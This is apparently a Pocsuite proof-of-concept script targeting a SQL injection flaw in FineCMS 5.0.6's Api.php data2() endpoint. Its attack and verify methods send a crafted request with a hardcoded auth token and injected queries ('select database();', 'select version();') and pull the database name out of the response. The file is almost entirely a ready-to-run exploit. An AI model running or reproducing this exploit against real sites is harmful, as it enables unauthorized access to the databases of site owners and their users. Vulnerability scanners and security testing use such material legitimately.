#!/usr/bin/python
# -*- coding:utf-8 -*-

import string
import random
import time
import re
import json
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    name = 'finecms5.0.6 sql injection Vulnerability'
    vulID = '0'
    author = ['cws6']
    vulType = 'sql-inj'
    version = '1'
    references = ['https://blog.csdn.net/xiaoi123/article/details/84304568']
    desc = '''finecms5.0.6 /finecms/dayrui/controllers/Api.php的data2()的sql模块存在sql注入'''

    vulDate = '2018-05-21'
    createDate = '2019-04-25'
    updateDate = '2019-04-25'

    appName = 'finecms'
    appVersion = '5.0.6'
    appPowerLink = 'http://www.finecms.net/'
    samples = ['re']

    
    def _attack(self):
        """attack mode"""
        result = {}
        payload1 = '/index.php'
        payload2 = '?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=sql%20sql=%27select%20database();%27'
        resp = req.get(self.url + payload1  + payload2)
        dbname1 = re.findall('"(.*?)"', resp.content)
        if dbname1:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['Database'] = {}
            result['Database']['DBname'] = dbname1[7]
        return self.parse_output(result)

    def _verify(self):
        """verify mode"""
        result = {}
        payload1 = '/index.php'
        payload2 = '?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=sql%20sql=%27select%20version();%27'
        resp = req.get(self.url + payload1  + payload2)
        time.sleep(2)
        if resp:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

